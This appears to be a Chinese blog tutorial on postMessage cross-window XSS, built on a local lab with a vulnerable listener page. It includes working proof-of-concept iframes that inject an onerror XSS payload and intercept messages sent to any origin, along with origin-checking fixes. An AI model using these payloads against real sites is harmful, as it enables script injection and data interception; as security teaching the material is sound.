介绍

看国外好多这种漏洞,刚好挖掘某 SRC 的时候也发现了类似的点,所以觉得还是有必要记录一下

介绍

postMessage() 方法用于安全地实现跨源通信。

参考 1:https://www.runoob.com/js/met-win-postmessage.html

参考 2:https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage

语法

我感觉就是给数据发送到 window 中,就这么简单。

至于出现 XSS,就是因为 window 对发送的数据处理不当造成的

看理论可能比较抽象,建议直接看例子

环境搭建

接收数据页面

挖 SRC 时,目标页面有类似的写法,主要是定位到EventListener

<!-- rec.html -->
<head><meta charset="UTF-8"></head><div id="receiveMessage">
Hello World!
</div><script>
window.onload = function() {window.addEventListener('message', function (e) {  // 监听 message 事件alert(e.origin);document.getElementById('receiveMessage').innerHTML = "从"+ e.origin +"收到消息: " + e.data;});
}
</script>

发送数据页面

我们构造的发送数据的 POC

<!-- poc.html -->
<title>Postmessage PoC</title>
<script>function pocFrame(win) {let msg = "hello d4m1ts";win.postMessage(msg, '*');}
</script>
<iframe src="http://127.0.0.1:9000/rec.html" onload="pocFrame(this.contentWindow)"></iframe>

使用验证

先启动一个简单的 web 服务器,可以用 python

python3 -m http.server --bind 127.0.0.1 9000

然后访问http://127.0.0.1:9000/poc.html

poc

XSS 利用

前面说了,出现 XSS,是因为 window 对发送的数据处理不当造成的,咱们分析一下这里的接收数据页面

image-20220323092910200

所以我们只需要改一下 POC

<!-- poc.html -->
<title>Postmessage PoC</title>
<script>function pocFrame(win) {let msg = "hello d4m1ts<img src=x onerror=alert(1)>";win.postMessage(msg, '*');}
</script>
<iframe src="http://127.0.0.1:9000/rec.html" onload="pocFrame(this.contentWindow)"></iframe>

然后访问

image-20220323093150710

也就成功造成了 XSS

修复方案

验证来源,也就是验证 origin。如下,只接受来自http://127.0.0.1:9001的 message

<!-- rec.html -->
<head><meta charset="UTF-8"></head><div id="receiveMessage">
Hello World!
</div><script>
window.onload = function() {window.addEventListener('message', function (e) {  // 监听 message 事件alert(e.origin);if (e.origin === "http://127.0.0.1:9001") {document.getElementById('receiveMessage').innerHTML = "从"+ e.origin +"收到消息: " + e.data;} else {alert("hacker");}});
}
</script>

修复

不成功的实例

某 SRC,分析源码发现了addEventListener

某SRC

继续往下分析,验证了origin,所以除非origin中存在可控页面,如允许上传 HTML,否则利用起来很难

假如我们可控origin,后面也会调用 jquery 中对象的text()方法,这个方法是自带有实体化编码的,所以就算绕过了也利用不了。

扩展

刚才我们的举例,其实是相当于伪造了发送端,然后目标为接收端,接收端对数据没有正确处理,从而导致了 XSS 漏洞。

那我们是否可以伪造接收端,然后截取到发送的数据呢?答案也是可以的

以上面的发送端为例

<!-- poc.html -->
<script>let msg = "hello d4m1ts<img src=x onerror=alert(1)>";window.parent.postMessage(msg, '*');
</script>

因为window.parent.postMessage(msg, '*');,第二个参数没有指定origin,所以我们可以构造 POC 如下:

<!-- poc2.html -->
<script type="text/javascript">onmessage = function(e) {alert(e.origin)alert(e.data)};
</script>
<iframe src="http://127.0.0.1:9000/poc.html"></iframe>

数据劫持

也就成功接收到了数据

修复建议:

postMessage()指定第二个参数为指定的origin,如:

<script>let msg = "hello d4m1ts<img src=x onerror=alert(1)>";window.parent.postMessage(msg, 'http://127.0.0.1:9001'); // 限制只能给 http://127.0.0.1:9001 发送数据
</script>

渗透测试-postmessage xss相关推荐

  1. 渗透测试 ( 0 ) --- XSS、CSRF、文件上传、文件包含、反序列化漏洞

    漏洞数据库:https://www.exploit-db.com/google-hacking-database 1.渗透测试 实用 浏览器插件 chrome.edge 插件:搜索 cookie,安装 ...

  2. 【渗透测试】XSS注入原理

    目录 XSS注入原理 XSS的危害: XSS分类 XSS平台--漏洞利用 总结 答疑 XSS注入原理 XSS 攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, ...

  3. 渗透测试:XSS实验集合

    MCIR-XSSMH:challenge0 页面:/mcir/xssmh/challenges/challenge0.php 1.验证是否存在XSS注入:<script>alert(1)& ...

  4. 如何进行渗透测试XSS跨站攻击检测

    国庆假期结束,这一节准备XSS跨站攻击渗透测试中的利用点,上一节讲了SQL注入攻击的详细流程,很多朋友想要咨询具体在跨站攻击上是如何实现和利用的,那么我们Sinesafe渗透测试工程师为大家详细的讲讲 ...

  5. http referer 验证防御方法_渗透测试 跨站攻击防御与安全检测手法剖析

    上一节讲到了渗透测试中xss跨站攻击检测方法和防护,这一节也是关于跨站攻击的另一个手法CSRF,很多客户找到我们想要了解更多的跨站攻击检测方法以及防御此类攻击的办法,想要让网站的安全性更加坚固,对此提 ...

  6. 渗透测试 跨站攻击手法剖析

    上一节讲到了渗透测试中xss跨站攻击检测方法和防护,这一节也是关于跨站攻击的另一个手法CSRF,很多客户找到我们Sinesafe想要了解更多的跨站攻击检测方法以及防御此类攻击的办法,想要让网站的安全性 ...

  7. 网络渗透测试实验三 XSS和SQL

    网络渗透测试实验三 XSS和SQL注入 实验目的:了解什么是XSS:思考防御XSS攻击的方法:了解SQL注入的基本原理:掌握PHP脚本访问MySQL数据库的基本方法:掌握程序设计中避免出现SQL注入漏 ...

  8. 【渗透测试工具beef】XSS渗透测试工具beef如何安装使用?

    目录 事情是这样的 beef介绍 beef工作原理简介 kali下使用beef beef配置IP地址及默认密码 使用beef攻击流程 启动beef 通过web端访问 1.输入config.xml中配置 ...

  9. 网络渗透测试实验三——XSS和SQL注入

    网络渗透测试实验三--XSS和SQL注入 实验目的 了解什么是XSS:了解XSS攻击实施,理解防御XSS攻击的方法:了解SQL注入的基本原理:掌握PHP脚本访问MySQL数据库的基本方法:掌握程序设计 ...

  10. 电网机巡智能管控平台渗透测试经历

    目录 前言 渗透测试 概念 分类 手段 安全漏洞的影响 安全漏洞与BUG的关系 渗透测试的流程 明确目标 信息收集 漏洞扫描 漏洞利用 权限提升 痕迹清理 信息整理 分析报告及修复方案 前言 电网集训 ...

最新文章

  1. 今天教你用 Python调用两个机器人聊天
  2. 弹窗页面PHP代码不执行,PHP代码没有被执行,而是代码显示在页面上
  3. LSTM神经网络 和 GRU神经网络
  4. 计算机科学速成视频35,计算机科学速成课30:万维网【视频】
  5. 在WEB自定义控件中实现自动回传功能
  6. 2018年应用交付控制器市场将发生重大变化
  7. leetcode104. 二叉树的最大深度(dfs)
  8. 前端学习(3256):react中添加todolist
  9. 我们如何实现“业务 100% 云原生化,让阿里中间件全面升级到公共云架构”?
  10. 马斯克:2020 年底将完成 L5 级别自动驾驶功能
  11. mac黑白打印和彩色打印
  12. 使用FontCreator工具创建字体符号
  13. 急需大量网银和电子商务经验人才
  14. 基于飞桨实现高光谱影像和全色影像融合
  15. dvwa上传php文件,DVWA之文件上传漏洞
  16. matlab 虚位温,大气边界层湍流基础
  17. 计算机无法安装64位操作系统,怎么看电脑能不能装64位系统|什么样的电脑可以装64位系统...
  18. js渲染10万数据列表,不阻塞UI
  19. 如何使用OpenDNS有效解决DNS域名劫持?
  20. 《穷爸爸富爸爸》读记

热门文章

  1. word三线格模版绘制
  2. c++用化简命题逻辑公式的方法设计一个5人表决开关电路,要求3人以上(含3人)同意则表决通过
  3. TSP-遗传算法求解
  4. 各历史版本NDK下载地址
  5. # iOS项目——IM聊天工具(集成融云SDK)
  6. AD9 设置网络标号作用域
  7. 韩顺平php开发合集208集-从Html基础到php开发Web QQ实战 共15G
  8. 无法读源文件或磁盘_文件、文件夹、磁盘加密 -我们推荐这个便宜的解决方案!...
  9. 数据库:delete语句
  10. Linux程序设计 清空标准输入缓冲区